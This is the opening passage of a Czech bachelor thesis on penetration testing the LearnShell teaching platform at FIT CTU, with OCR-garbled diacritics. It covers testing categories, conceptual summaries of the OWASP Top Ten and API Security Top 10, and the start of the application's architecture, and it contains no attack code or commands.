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Abstrakt

Tato bakalarska prace se zabyva hledanim bezpecnostnich zranitelnosti aplikace LearnShell, ktera
je vyvijena na FIT CVUT v Praze. K nalezeni téchto zranitelnosti slouzi metodiky penetra¢niho
testovani, které se odlisuji na zdkladé dané komponenty, pro niz je test providén. Tyto metodiky
popisuje resersni Cast prace.

Provedeny penetracni test odhaluje zranitelnosti a zpisoby jejich zneuziti Gto¢nikem. Vy-
sledky této prace umoznuji snadné identifikovani bezpecnostnich zranitelnosti, které LearnShell
obsahuje, a jejich eliminaci. Pf¥inos je tedy predevsim pro vyvojire a administratory testované
aplikace. Muze vsak poslouzit i jako podklad pro zacinajici penetracni testery, jelikoz jsou zde
ukazany priklady testovani zranitelnosti na redlné aplikaci.

Na zavér prace jsou uvedeny doporuceni na provedeni naprav pro zranitelnosti se stfednim ¢i
vysSim stupném zavaznosti.

Klicova slova penetracni test, web, infrastruktura, OWASP, etické hackovani, GraphQL API,
REST API, Django, Learnshell

Abstract

The aim of this bachelor thesis is to search for security vulnerabilities in the LearnShell ap-
plication, which is being developed at the FIT CTU in Prague. To find these vulnerabilities,
penetration testing methodologies have been used. Those differ based on the component the test
is performed on. The methodologies are described in the theoretical part of this thesis.

The penetration test which has been performed reveals vulnerabilities and the ways they can
be exploited by an attacker. The results of this thesis facilitate the identification and elimination
of security vulnerabilities in the LearnShell application. The benefit is mainly for developers and
administrators of the application. However, the thesis can also serve as a source for penetration
testers, as it includes examples of vulnerabilities testing conducted on a real-world application.

Finally, the thesis makes recommendations on how to correct medium or high-severity vul-
nerabilities.

Keywords penetration test, web, infrastructure, OWASP, ethical hacking, GraphQL API,
REST API, Django, LearnShell
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Kapitola 1

Uvod

Zabezpeceni webovych aplikaci je stale diskutovanéjsi téma, i presto webové aplikace mnohdy
obsahuji zranitelnosti, a to i takové jako ponechani vychoziho uzivatelského jména a hesla pro
prihlaseni. Vyvojari webovych aplikaci ¢asto neznaji zasady psani bezpeéného kédu, uprednost-
nuji efektivitu/jednoduchost implementace nebo pouZivaji zastaralé verze knihoven, to vSe na
tkor bezpecnosti. Z téchto divodl se vyuziva penetracni testovani, které pomahda odhalit vyse
uvedené problémy. Penetracni testovani se tak postupné stava béznou soucasti vyvoje webovych
aplikaci. Jeho hlavnim tkolem je odkryt zranitelnosti dané aplikace a s tim souvisejici rizika.

Prace se zaméruje na pruzkum metodik auditu informac¢ni bezpecnosti a jejich aplikovani pri
white box penetracnim testu platformy LearnShell.

LearnShell je aplikace vyvijena na FIT CVUT v Praze a slouzi pro potieby vyuky predmétu
BI-PS1 (Programovani v shellu) vyudovaném na této fakulté. V tomto systému studenti pisi
testy ¢i zkousky a odevzdédvaji domdci tikoly. V budoucnu miuze tento systém poskytovat stejné
sluzby jako pro BI-PS1 i pro ostatni vyucované predméty. I z divodu mozného rozsiteni pro dalsi
predmeéty je zddouci klast diraz na zabezpeceni této aplikace.

Téma jsem si zvolil, jelikoz jsem chtél s timto zabezpecenim pomoci, protoze nebylo dosud
otestovano uspokojivym zpusobem.

Prace je uréena pro tym, slozeny ze studenti a absolventtt FIT CVUT v Praze, zabyvajici
se implementaci a administraci webového portalu LearnShell, a bude slouzit jako podklad pro
eliminaci zranitelnosti v ném.

Hlavni cilem prace a taktéz jednim z cila praktické Casti je provést penetracni testovani
webového portdlu LearnShell, které mé za kol odhalit bezpec¢nostni zranitelnosti, a pro ty se
stfednim nebo vys$im stupném zévaznosti také navrhnout vhodné opravy.

Zameérem teoretické Casti prace je seznameni ¢tenafe s tématem penetrac¢ni testovani a pojmu
pouzivanych v tomto oboru. Dale budou vysvétleny pouzité metodiky a jednotlivé typy zranitel-
nosti.

Prakticka ¢ast ma také popsat architekturu aplikace LearnShell, nalézt vektory itoku a upres-
nit, co bude testovano.

Uéelem vystupu préce je pomoci se zabezpetenim LearnShell a minimalizovat mozna bezpeé-
nostni rizika, ktera jsou nasledkem zranitelnosti obsazenych v aplikaci.

Struktura prace je rozdélena do ¢tyt logickych celku. Prvnim logickym celkem je kapitola
,» Penetracni testovani a jeho metodiky“. V té popisuji stavajici akademicky vyzkum na téma
architektura zabezpeceni webovych aplikaci, auditovani a metodiky penetrac¢niho testovani. Tato
kapitola patii do teoretické ¢asti prace, nasledujici tii kapitoly se fadi do ¢asti praktické.

Druhé kapitola, pojmenovana ,, Zhodnoceni architektury a identifikace vektora ttoku®, popi-
suje architekturu aplikace LearnShell a na zdkladé tohoto popisu jsou analyzovany mozné vektory
atoku.



Kapitola 1. Uvod

V dalsi kapitole s nazvem ,, Vysledky penetra¢niho testu“ zkoumam bezpecnostni zranitelnosti
pro dané vektory utoku a provadim bezpecnostni audit. Je zde uveden souhrn provedenych
penetracnich testi a bezpecnostnich zranitelosti, které byly pomoci téchto testtt odhaleny.

Zaveérecna kapitola praktické ¢asti prace nazvana ,, Prioritizace zranitelnosti a ndvrh zaklad-
nich oprav“ obsahuje shrnuti nalezenych zranitelnosti a zhodnoceni jejich zavaznosti. Na to na-
vazuje doporuéeni vhodnych oprav pro ty, které maji sttedni nebo vyssi stupen zavaznosti.



Kapitola 2

Penetracni testovani a jeho
metodiky

Tato cdst prace se zabyvd vysvetlenim penetracniho testovdni, jeho typu a prinosu. Popisuje
také hlavni cil testovdni a jeho vystup. Uvddi se i rozdil mezi etickym hackovdnim a pe-
netracnim testovdnim. Je zde také popsdno, co je to metodologie pro penetracni testovdni.
Nasledné se uvddi typy metodologii obecné. Samostatné kapitoly jsou pak vyclenény jednotli-
vym metodikam od spolecnosti OWASP, konkrétne OWASP Top Ten a OWASP API Security
Project.

2.1 Uvod do problematiky

Pojmy penetracni testovani a etické hackovani jsou v oboru informacni bezpec¢nosti dobfe znamé,
presto je zadouci zde uvést vysvétleni a popsat rozdily mezi nimi.

Nejprve je nutné si definovat, co je to penetracni testovani. Jedna se o metodu zamérujici
se na odhaleni bezpec¢nostnich zranitelnosti, a s nimi spojenych rizik specifickych pro testovany
subjekt. Pfedmétem této metody mohou byt pocitacové systémy, sité ¢i zafizeni. Konkrétni
priklady bézné podrobované takovému typu testovani jsou nasledujici: webova aplikace, mobilni
aplikace, IoT zarizeni, jednotlivé pocitacové komponenty automobili a dalsi. Penetracni test
odhaluje zranitelnosti pomoci simulace jednotlivych krokia skutecného kybernetického ttoku,
které by provadél itocnik neboli hacker. Timto se penetracni test odlisuje od bézného skenovani
zranitelnosti. Vyse popsany druh testu musi byt vzdy predem schvédlen vlastnikem testovaného
subjektu.

Etické hackovani je termin s SirSim rozsahem obsahujici stejné metody a techniky, které
pouziva hacker. Jednd se o zastfesujici pojem, tedy penetrac¢ni testovani je jeho podmnozina.
Typicky se penetraéni tester zaméruje na jednu oblast (webova/mobilni aplikace, pocitacova sit,
IoT zafizeni, ..), zatimco_eticky hacker neni soustfedén na konkrétni oblast a ma Sirsi a hlubsi
povédomi z vice oblasti. [l

Hlavnim cilem je uspésné ziskani neopravnéného pristupu na testovany systém. Prinosem
penetra¢niho testovani je identifikovani chyb v zabezpeceni, které jesté nebyly zneuzity utoc-
niky. Spole¢nost, pro kterou je test vykondn, tak muze zajistit opravy, aby ke zneuziti nedoslo.
Neexistuje vsak zadné penetracni testovani, které by zabezpecilo plnou ochranu, protoze v dobé
provadéni testu nemusi byt zranitelnost pro urc¢itou komponentu znama. Je dulezité dodat, ze
penetracni test by nemél byt jedinou moznosti kontroly bezpeénosti. Predevsim by mél byt kla-
den duraz na zabezpeceni jiz pfi navrhu a implementaci systému, zarizeni ¢i aplikace. Timto



Kapitola 2. Penetracni testovani a jeho metodiky

Ize predchazet odhaleni bezpec¢nostnich chyb, pro jejichz opravy je nutné zménit infrastrukturu
a zakladni koncepty daného pocitacového systému.

Vysledkem takového testu je zprava, ktera popisuje nalezené zranitelnosti, jejich mozné zneu-
ziti a stupen zéavaznosti. Tento popis také dokumentuje doporuceni pro opravu identifikovanych
zranitelnosti.

2.2 Kategorie penetracnich testt

Penetracni test se rozdéluje na tii kategorie: black box, white box a gray box. Jednotlivé typy jsou
od sebe oddéleny na zdkladé pristupu. Jinymi slovy odliSuji se pfedevsim v tom, jaké informace
ohledné testovaného subjektu ma penetracni tester k dispozici. Nasledujici podkapitoly tyto typy
shrnuji a vysvétluji. Pro kazdy z nize uvedenych typu tester vzdy zné rozsah a kroky, které jsou
povoleny. Nize uvedené typy jsou popsany na zdkladé informaci z [2, B].

2.2.1 Black box

U tohoto typu testu mé penetrac¢ni tester pouze informace o tom, co bude predmétem testovani.
Obdrzi tedy napriklad IP adresu ¢i URL webové stranky. To jaké sluzby zde bézi, typ operac¢niho
systému, pouzité technologie a dalsi idaje nejsou znamy. Tester tedy bude nejprve shromazdovat
informace o testované pocitacové siti ¢i systému, a az poté podnikne dalsi kroky. Toto simuluje
kroky uto¢nika provadéjiciho skutecny kyberneticky utok, a to je hlavni benefit tohoto typu.
Bézné se pouziva pri provadéni externiho penetra¢niho testu.

2.2.2 White box

White box testovani ma mnoho ruznych nazvia clear box, glass box, open box. Toto penetracni
testovani je nejvice rozsahlé, protoze tester znd témér vsechny informace pro dany cil. Pene-
tracni tester tedy disponuje stejnymi informacemi a pristupem jako vyvojari. Pro pripad webové
aplikace jsou k dispozici naptiklad: zdrojové kédy, pouzité technologie a infrastruktura aplikace.
White box test je ¢asto vyuzivan pro interni penetracni testy.

2.2.3 Gray box

Tento typ je kombinaci pfedchozich dvou, jelikoz nékteré informace ma penetracni tester k dis-
pozici a ostatni jsou skryté. Tester napriklad obdrzi stejné informace jako pro white box vyjma
zdrojovych kodu. Ziskd tak pouze omezené mnozstvi informaci, a proto se tento typ povazuje
za simulaci itoku provadéného externim tutocénikem, ktery mohl neopravnéné ziskat nékteré do-
kumenty k testovanému subjektu.

2.3 Metodologie a standardy — obecné

Pouzivani metodologie méa za kol pomoci efektivité, tispore ¢asu a v neposledni fadé odbornosti
provadéného testu a vysledné zpravy. Pro penetrac¢ni testovani existuji rizné metodologie. Jejich
vybér zavisi predevsim na testované platformé. Nutno podotknout, Ze neni jedna spravna moznost
vybéru, jelikoz kazdy penetracni tester mize mit jiné preference pro dany test.

Mezi nejpouzivanéjsi patii PTES a metodologie od organizaci NIST a OWASP. Posledni
zminovany je popsan nize. Divodem je, Ze se tato prace zaméiuje predevsim na testovani webové
aplikace. OWASP mimo jiné popisuje testovani webové aplikace a API.
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2.3.1 OWASP (Open Web Application Security Project)

Nejprve popisi, co je vlastné Open Web Application Security Project, zkracené OWASP. Jak uz
nazev napovidd, jednad se o projekt soustredujici se na zabezpeceni webovych aplikaci. Presnéji
dle [H] je OWASP neziskova organizace, kterd pracuje na zlepsovani zabezpeceni software. Tato
organizace je , oteviend“ komunita, coz znamend, ze kazdy, kdo chce spolupracovat a podilet se na
projektech, se mize stat ¢lenem. Clenové této komunity spoleéné pofadaji konference, vydavaji
clanky a vytvari rizné projekty.

Piiklady nékterych projektii, které jsou vyvijeny pravé touto organizaci: OWASP Top Ten,
OWASP API Security Project, Web Security Testing Guide. Z uvedenych projekti by se mohlo
zdat, ze se zabyvaji pouze zabezpecenim webovych aplikaci. Avsak kromé toho se také zabyvaji
napiiklad bezpecnosti mobilnich aplikaci, s tim jsou spojeny projekty s ndzvy: OWASP Mobile
Security Testing Guide, Mobile App Security Requirements and Verification.

Déle se také vénuji vytvareni ndstroju jako je naptiklad OWASP ZAP, cely nézev je OWASP
Zed Attack Proxy. ZAP slouzi jako ,, man-in-the-middle proxy“. Zjednodusené feceno, diky to-
muto nastroji muze tester zachytévat, upravovat a analyzovat zpravy, které jsou z prohlizece
posilany na server, kde je provozovana webova aplikace.

Také stoji za zminku jejich vyvoj zranitelnych webovych aplikaci. Ty mohou slouzit jako
podklad pro studium penetracniho testovani nebo testovani riznych nastroji, které jsou urceny
na analyzovani zabezpeceni webovych aplikaci. Jednou z takovych aplikaci je WebGoat. [5]

Dal$im zajimavym projektem z repertoaru OWASP je OWASP Cheat Sheet Series, ktery po-
skytuje souhrn osvédcenych praktik pro specifickd témata v oblasti bezpecnosti aplikaci a moz-
nosti ochran proti ruznym typtm utoka. FB]

V dalsi ¢asti se zaméfim na popsani dvou vyse zminénych projekti, a to na: OWASP Top
Ten, OWASP API Security Project, jelikoz podle téchto dvou metodologii provadim testovéani
webu a APL.

2.4 Konkrétni metodologie vyuzité pri testovani

V této sekci jsou popsany metodologie, které jsem vyuzil pii provadéni penetra¢niho testu. Jedna
se o0 metodiky zamétujici se na zranitelnosti webové aplikace a API. Néasledujici dvé podkapitoly
Cerpaji z [7] a [§].

2.4.1 OWASP Top Ten

Projekt s nazvem OWASP Top Ten se zabyva vytvorenim seznamu top deseti nejkriti¢téjsich
bezpecnostnich rizik pro webové aplikace. V tomto dokumentu s ndzvem OWASP Top 10, vy-
tvafeném v ramci tohoto projektu jsou tato rizika popsina. Pro kazdé je v dokumentu OWASP
Top 10 uvedeno:

= mozné vektory utoku,

m bezpec¢nostni slabiny,

= dopady,

m jak urcit zdali je aplikace zranitelna,
m jak riziku predchézet.

I proto je tento dokument vyuzivan pro penetracni testovani webovych aplikaci. Dosavadni
verze jsou z let: 2003, 2004, 2007, 2010, 2013 a 2017. Ptipravuje se vSak verze nova pro rok 2021,
kterd bude vyddna na pfelomu léta a podzimu roku 2021. [§] Z divodu névaznosti praktické ¢asti
préace je zadouci popsat kazdy bod tohoto seznamu. Jednotlivé body jsou popsany nize.
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. A1:2017 — Injection

Zranitelnosti typu injection jako jsou napriklad SQL, NoSQL, LDAP a OS injection nastavaji,
pokud soucésti interpretovaného dotazu ¢i prikazu jsou neduvéryhodna data a tato data
nejsou nijak kontrolovana. Utoénik tak miize zmést interpreter vlozenim skodlivych dat a tim
zpusobit provedeni nezadoucich prikaztii nebo ziskat neopravnény pristup k dattim/udajim
z databaze. Neopravnény pristup znamend, ze ttocnik neni autorizovan k provedeni dotazu
a naslednému ziskani dat.

Dopady Injection muze vést ke ztraté dat, jejich zméné ¢i prozrazeni neautorizovanym oso-
bam /spole¢nostem. Muze zapii¢init DoS (Denial of Service), dokonce mtize vést i k ziskén{
kompletni kontroly nad hostitelskym serverem.

. A2:2017 — Broken Authentication

Funkce aplikaci zastavajici autentizaci a spravu relaci (angl. session management) nejsou
Casto spravné implementovany. To dovoluje tto¢nikim kompromitovat hesla, klice ¢i tokeny
relaci (angl. session token). Déle to ttoénikovi umoziuje zneuzit dalsi chyby v implementaci
a ziskat tak identitu jinych uzivateli a to bud docasné, anebo trvale.

Dopady Pripadnym zneuzitim utocnik ziska pristup k uzivatelskym uc¢tum. V tomto pfi-
padé utocnikovi staci ziskat nékolik ¢t nebo ucet s pravy administratora, aby zapric¢inil
narusen{ systému/aplikace. Z tohoto divodu jsou Castym cilem pravé privilegované ucty.
V zavislosti na tcelu a zaméteni aplikace mize tato chyba umoznit kradez identity, zve-
fejnéni zdkonem chranénych citlivych informaci a rtuzné podvody.

. A3:2017 — Sensitive Data Exposure

V prekladu tento bod znamend expozice/vystaven{ senzitivnich/citlivych dat. Mnoho webo-
vych aplikaci a aplika¢nich rozhrani nespravné chrani citlivd data, jako jsou ¢isla kreditnich
karet, rodna ¢isla, zdravotni zdznamy a dalsi. Ochrana téchto dat je casto podfizena zdkontim
dané zemé a také EU narizeni pod zkratkou GDPR. Citlivd data mohou byt kompromito-
vana, pokud nejsou specialné chranéna. Napiiklad sifrovanim téchto dat v klidu ¢i pfi prenosu
a zvlastnimi bezpecnostnimi opatfenimi pro data v prohlizeci.

Dopady Selhani ochrany citlivych dat ¢asto vede k jejich kompromitaci. Utoénik mtze krast
¢i modifikovat tato slabé chranénd data. To vse za tcelem podvodu s kreditnimi kartami,
kradezi identit a dalsich zlocind.

. A4:2017 — XML External Entities (XXE)

Zranitelnost XXE je zpisobena tim, ze mnoho starsich nebo $patné nakonfigurovanych XML
parseri zpracovava a vyhodnocuje externi entity v datech formatu XML. Utoc¢nik toho mize
zneuzit a zahrnout do takovychto dat externi entity a zranitelny parser je zpracuje.

Dopady Externi entity mohou byt pouzity k odhaleni internich souboru za pouziti file URI
handler. Dalsi mozné dopady jsou RCE, skenovani internich systému a portu a DoS ttok.

. A5:2017 — Broken Access Control

Tato zranitelnost v prekladu znamend chybné fizeni pristupovych prav. Webové aplikace ¢asto
Ffadné nevynucuji omezeni tykajici se povolenych funkcionalit pro autentizované uzivatele.
To nasledné vyuzivaji ttoc¢nici k neautorizovanému pristupu k témto funkcionalitdm jako
je napriklad zména dat ostatnim uzivateliim, prohlizeni citlivych souborti, pristup k jinym
uzivatelskym ucéttim. Slabiny v Fizeni pfistupovych prav jsou obvyklé z divodu nedostatku
automatizovanych testu, které by pomohli s jejich odhalenim. Dalsim duvodem muze byt
provedeni neefektivniho funkéniho testovani.
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Dopady Chybné rizeni pristupovych prav umoznuje tutocnikovi vyuzivat funkcionalit, na
které nems préva. Utocnici zneuzivaji této chyby, aby mohli jednat jako autentizovany
uzivatel, administrator nebo uzivatel vyuzivajici privilegované funkce. Hlavnim cilem ttoku
na tuto zranitelnost je ziskani pristupu k administratorskym funkcim.

6. A6:2017 — Security Misconfiguration

Chybnd konfigurace zabezpeceni je nejcastéji vidany problém. Tohle je predevsim zaprici-
néno pouzivanim vychozich konfiguraci, které jsou vétsinou nezabezpecené. Dalsi pric¢iny jsou
nekompletni ¢i ad hoc konfigurace, Spatné nakonfigurované HTTP hlavicky a vypisovani po-
drobnych chybovych zprav obsahujici citlivé informace. Mimo to, Zze musi byt vSechny ope-
racni systémy, framework, knihovny a aplikace bezpecné nakonfigurovany, musi také byt vcas
zaplatovany a aktualizovany.

Dopady Vyse popsané pochybeni ¢asto poskytuje ttocnikovi neopravnény pristup k nékte-
rym systémovym datim nebo funkcim. Nékdy tyto chyby v konfiguraci vedou k tplnému
kompromitovani systému.

7. AT:2017 — Cross-Site Scripting XSS

XSS je druhym nejrozsitenéjsim problémem v OWASP Top 10. Tato zranitelnost se vyskytuje
priblizné ve dvou tfetindch vSech aplikaci. [[L10]

XSS se vyskytuje, kdyz aplikace zahrnuje neduvéryhodna data poskytnutd uzivatelem do
nové ¢i aktualizované webové stranky. Problémem je, ze tato data od uzivatele nepodléhaji
validaci ani sanitizaci. RozliSuji se tfi typy této zranitelnosti: stored, reflected a DOM-based

XSS.

Dopady Zranitelnost XSS ma za nasledek to, Ze utoc¢nik je schopen spoustét skripty v pro-
hliZeéi obéti, kterd pouziva webovou aplikaci, ve které se XSS vyskytuje. Utoénikovi je tak
umoznéno prevzit uzivatelskou relaci (angl. session), zménit obsah web. stranky, pfesmé-
rovat uzivatele na jinou web. stranku a jiné.

8. A8:2017 — Insecure Deserialization

Nebezpecna deserializace se vyskytuje, kdyz uzivatelem kontrolovand data jsou deserializo-
vana webovou aplikaci. To potencidlné dovoluje tto¢nikovi manipulovat se serializovanymi
daty s imyslem predéni skodlivych dat do provadéného zdrojového kédu dané aplikace.

Dopady Vyse popsana zranitelnost casto vede k RCE. Pokud vsak tato chyba nema za na-
sledek RCE, mutze byt pouzita k provedeni jinych ttoktu. Tyto ttoky zahrnuji injection,
replay attack a neopravnéna eskalace privilegii.

9. A9:2017 — Using Components with Known Vulnerabilities

Pouzité komponenty jako knihovny, frameworks a dalsi softwarové moduly jsou spoustény se
stejnymi privilegii jako aplikace. Pokud ma dand komponenta znamou zranitelnost a pripadné
pro ni existuje exploit, pak je vyrazné usnadnén mozny utok. Pouzivani takové komponenty
v aplikaci vede ke zhorseni bezpecnosti aplikace a umoznuje rizné utoky na ni. Tedy i pro
jinak dobre zabezpecenou aplikaci ma zranitelnd komponenta zasadni vliv na bezpecnost
a hrozi, ze zabezpeceni lze obejit pouze zneuzitim zranitelnosti dané komponenty. S tim jsou
spojeny ruzné bezpecnostni dopady.

Dopady Dopady se lisi v zdvislosti na typu znamé zranitelnosti, kterou komponenta obsa-
huje. Muze se jednat naptiklad o XSS, injection a dalsi. Zatimco nékteré znamé zranitel-
nosti maji pouze nepatrny dopad, jiné mohou vést az k tplnému prevzeti kontroly nad
hostitelskym strojem.
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10. A10:2017 — Insufficient Logging & Monitoring

Tento bod zastituje problém v podobé nedostatecného zapisovani do logti a nevyhovujici mo-
nitorovani. Vyskytuje-li se tento problém v aplikaci, pak je mozné, ze by eventudlni provadény
utok nebyl véas signalizovan/odhalen a fesen.

Dopady Vyse zminény problém mé za néasledek predevsim to, ze bezpecnostni incident neni
vcas odhalen. To dovoluje ito¢nikiim pti zneuziti zranitelnosti ddle nepozorované ttocit na
systém, manipulovat s daty nebo data stahovat ¢i mazat. Nejispésnéjsi itoky totiz nejprve
za¢inajl s provérenim dané zranitelnosti. Umoznéni jejich pokracovani kvili pochybeni
v monitorovani muze zvysit pravdépodobnost uspésnosti tohoto utoku.

Vétsina studii zabyvajici se narusenim zabezpeceni ukézala, Ze ¢as na jejich detekovani je
vice nez 200 dni. Navic obvykle jsou tyto detekce zrealizovany externimi stranami nikoli
internim monitorovanim. [[7]

2.4.2 OWASP API Security Project

Tento projekt se stejné jako projekt OWASP Top Ten vénuje zranitelnostem a bezpecnostnim
rizikim, ale zde jsou cilem ty, které postihuji API. Podobné jako vyse zminény projekt vydava
i OWASP API Security Project seznam 10 nejkritictéjSich zranitelnosti a bezpecénostnich rizik,
avSak pro API. [§] Nejnovéjsi verzi tohoto dokumentu je verze z roku 2019, tento dokument se
nazyva API Security Top 10 2019. Dle néj postupuji pti testovani API, proto budou popsany
body z nichz se tento seznam sklada. Body shodné s OWASP Top Ten 2017 budou obsahovat
pouze nazev bez detailngjstho popisu, jelikoz by byl stejny. Seznam vychdzi z [11].

Pred samotnym popisem jednotlivych bodt je nutné uvést, pro¢ je zaddouci se zabezpece-
nim API zabyvat. Zakladni prvek inovaci v dnesnim svéte aplikaci je API. Pocinaje bankovnimi
aplikacemi pres aplikace vyuzivané v oblasti maloobchodu a dopravy az po autonomni vozidla
a inteligentni budovy. APIs jsou kritickou ¢dsti modernich mobilnich aplikaci, SaaS a webovych
aplikaci. Muze se tedy nachazet, jak v aplikacich urceny pro zakazniky, tak i v internich apli-
kacich. API ze své podstaty odhaluje logiku aplikace a citliva data, jako osobni uidaje, proto se
stéle Castéji stava cilem ttocniki. Bez zabezpefeného API by bylo nemozné dosdhnout rychlych
inovaci.

NiZe je uveden seznam API Security Top 10 2019.

1. API1:2019 — Broken Object Level Authorization

APIs maji sklony k vystavovani koncovych bodu (angl. endpoints), které zpracovavaji iden-
tifikatory objektt. Timto vytvareji sirokou moznost utoku. Kontrola autorizace na trovni
objektt by méla byt zvazena v kazdé funkci, kterd pristupuje k dattim na zakladé vstupu od
uzivatele.

Utoénik zaméni identifikdtor pro vlastni zdroj ve volani API identifikdtorem, jenz je zdrojem
pro jiného uzivatele. V dusledku Spatné kontroly autorizace je uto¢nikovi umoznéno ziskat
piistup ke specifikovanému prostfedku. Tento tok je zndmy také jako IDOR, (Insecure Direct
Object Reference).

Dopady Neautorizovany pristup muze vést k zpristupnénim dat, jejich smazani nebo zménu.
Tato chyba muze také zptisobit tiplné prevzeti uzivatelského tctu.

2. API2:2019 — Broken User Authentication
Shodné s |A2:2017 — Broken Authenticatiod, pouze se lisi nazev.

3. API3:2019 — Excessive Data Exposure

S vidinou generické implementace se vyvojari uchyluji k vystavovani vSech vlastnosti objektt
bez ohledu na to, ze vlastnosti danych objektd mohou zahrnovat citlivé informace. Spoléhaji
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se na to, ze filtrace dat se provede na strané klienta pred jejich zobrazenim uzivateli. Pokud
tedy uto¢nik interaguje ptimo s API, tak muze ziskat data jesté pred jejich filtrovanim.

Dopady BéZznym nésledkem této chyby je odhalovani citlivych dat.

. API4:2019 — Lack of Resources & Rate Limiting

Celkem casto APIs nevynucuji zaddné restrikce/omezeni velikosti nebo po¢tu dotazl ze strany
klienta/uzivatele. Uto¢nik tak muZe zaslat dotaz s nadmérnou velikosti payload (datového
obsahu) nebo velké mnozstvi dotazu.

Dopady Zneuziti této zranitelnosti vede k DoS ¢i nedostupnosti API. Dale muze byt vyuzita
k utoku hrubou silou na autentizaci.

. API5:2019 — Broken Function Level Authorization

Komplexni politika Fizeni uzivatelskych prav s raznymi rolemi, skupinami a nejasnym oddéle-

nim mezi obyc¢ejnymi a administrativnimi funkcemi majf tendenci vést k chybam v autorizaci.
Déle je popis v zasadé shodny s K5:2017 — Broken Access Controi.

. AP16:2019 — Mass Assignment

API piijim4d data (napiiklad v JSON forméatu), kterd jsou poskytovdna klientem a uklada je
bez spravného filtrovani zalozeného na white list (seznamu povolenych dat). Utoénik mize
hadat dalsi vlastnosti objektt nebo zahrnout jiné vlastnosti objektu v jejich request (do-
tazu), ¢ist dokumentaci nebo zkoumat dalsi dostupné API endpoints (koncové body API).
Uvedenymi ikony muze tto¢nik nalézt mezeru pro zménu vlastnosti objektu. Za normélnich
okolnosti by se utocnik k takovéto modifikaci nemél dostat.

Zde pro presnéjsi vysvétleni uvedu piiklad. Na zdkladé poslani request (dotazu) s pouzitim
metody GET obdrzi dtoc¢nik informace o vysi penéz ulozeném na uctu. Na zakladé téchto dat
zkusi poslat request znovu, ale tentokrat s metodou POST. V objektu pro stav G¢tu zmeéni
hodnotu na vyssi, tedy méni vlastnost objektu. Utoénik si tak neopravnéné navysil mnozstvi
penéz na uctu. Jiny priklad by byl, kdyby si uto¢nik timto zptisobem zménil svoji roli na roli
administratora.

Dopady Jak lze vidét z uvedeného ptikladu, zneuziti vede k eskalaci privilegii, manipulaci
s daty nebo obchézeni bezpec¢nostniho mechanismu.

. API7:2019 — Security Misconfiguration

Tato chyba je popsana v |A6:2017 — Security Misconﬁguratiod.

. API8:2019 — Injection

Vysvétleni je shodné s |A1:2017 — InjectiorJ.

. API19:2019 — Improper Assets Management

APIs maji sklony k vystaveni vice koncovych boda nez tradiéni webové aplikace, proto je
vytvareni nalezité a udrzované dokumentace vysoce dilezité. Inventura nasazenych verzi API
hraje také dulezitou roli ke zmirnéni problémt. Témito problémy jsou zastaralé verze API
a expozice koncovych bodu urcenych pro debug.

Dopady Utoénik miiZe objevit verzi API, kterd nebyla uréena pro produkei (naptiklad testo-
vaci ¢i stard verze), ale komunikuji se stejnou databdzi. Tyto verze ¢asto nejsou tak dobfe
chranény jako verze produkéni. Utoénik ji tedy mize zneuZit pro vykonani ttoki. Obecné
nasledky mohou byt: ziskani citlivych dat ¢i ovladnuti serveru.

API10:2019 — Insufficient Logging & Monitoring
Stejny popis jako pro |A10:2017 — Insufficient Logging & Monitorind.







Kapitola 3

Zhodnoceni architektury
a identifikace vektora utoku

V této kapitole je nejprve uveden zdkladni popis aplikace LearnShell, ddle se tato kapitola
zabyvd architekturou aplikace LearnShell. Jsou zde popsdny jednotlivé komponenty, ze kterjch
se LearnShell sklddd. Nasledné jsou uvedeny pouZzité technologie v aplikaci. Na zdkladé analyzy
této architektury jsou popsany mozné vektory utoku a jaké casti budou podrobeny penetracnimu
testu.

3.1 Zakladni popis LearnShell

Jak jiz bylo zminéno v této prace, jedna se o webovou aplikaci vyvinutou pro potieby
predmétu BI-PS1 (Programovani v shellu 1). Zakladnim piipadem uziti je, ze ucitel vytvari tiko-
ly /testy/zkousky a ty jsou ndsledné vypracovdvany studenty. Studenti si déle mohou zobrazovat
své dosavadni vysledky a pripadné napovédy k odevzdanym a vyhodnocenym feSenim, pokud
jsou pro dany ukol/test/zkousku k dispozici. Déle si zde mize jakykoli pfihlaseny uzivatel zménit
heslo. Omezeni vztahujici se k funkcionalité zmény hesla bude vysvétleno v podkapitole D
, stejné tak jako dalsi mozné akce uzivatelt.

Uzivatelé aplikace LearnShell (tedy studenti a vyuéujici pfedmétu BI-PS1) maji aplikaci pfi-
stupnou skrze webové rozhrani, které je dostupné pres tuto https://learnshell.fit.cvut.cz
URL adresu. Pro ni je nastaveno pfesmérovani na https://learnshell.fit.cvut.cz/profile.
Pro pristup k funkcim aplikace je potfeba se nejprve autorizovat. Autorizace probiha pres auto-
rizaén{ server (https://auth.fit.cvut.cz/), ktery je vyvijen na FIT. Tento autoriza¢ni server
se nazyva Zuul OAAS a vyuziva protokol pro autorizaci zvany OAuth2.0. Po tomto prihlaseni
do aplikace jsou uzivatelim dostupné ruzné funkcionality na zakladé pridélenych prav. Vyse
jsou uvedeny funkce dostupné vSem uzivateltim, ktefi maji pristup do aplikace. V nésledujici
podkapitole budou upfesnény jednotlivé typy uzivateld, a s tim spojend prava téchto uzivatelu.

3.1.1 Déleni uzivatelu

Uzivatelé jsou rozdéleny na t¥i druhy: obycCejny uzivatel, administrator a superuser. Toto rozdéleni
je dano pouzivanim autentizac¢niho systému v Django. Vzhledem k tomu, ze aplikace je urcené pro
vyuku, tak jednotlivé typy predstavuji poporadé studenta, cvic¢ictho a vyvojare aplikace pripadné
vyucujiciho, ktery ma vyssi pravomoci v ramci predmétu.

7 toho logicky plyne, Ze superuser je zaroven administrator, ale ne naopak. Kazdy uzivatel
typu administrator ma pristup do Django administrace. Uzivatel typu superuser muze vykonéavat
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vSechny dostupné akce v Django administraci na rozdil od administratora. Nutno dodat, ze
administratori mohou mit pfifazena ruzné opravnéni. Tedy napiiklad administrator ,, A“ si muze
zobrazit vsechny tkoly a jejich feSeni, ale administrator ,, B“ nemtze. Zminovana administrace je
dostupna z URL adresy https://learnshell.fit.cvut.cz/admin.

Obycejny uzivatel (student) pristup do Django administrace nemd. M4 tedy pristup pouze
k webovému rozhrani, které je pro studenty urceno. Dostupné funkcionality pro studenta jiz byly
popsany vyse.

3.2 Architektura

V této sekci se zamérim na komponenty, z nichz je LearnShell slozen. Komponenty jsou né-
sledujici: proxy server, front end, back end (soucésti je i databdze), aplika¢ni server pro sluzbu
evaluator a aplikac¢ni server pro sluzbu generator. Komponenty back end, proxy server a aplika¢ni
server pro sluzbu generator jsou provozovany v Docker kontejnerech za pomoci virtualizacniho
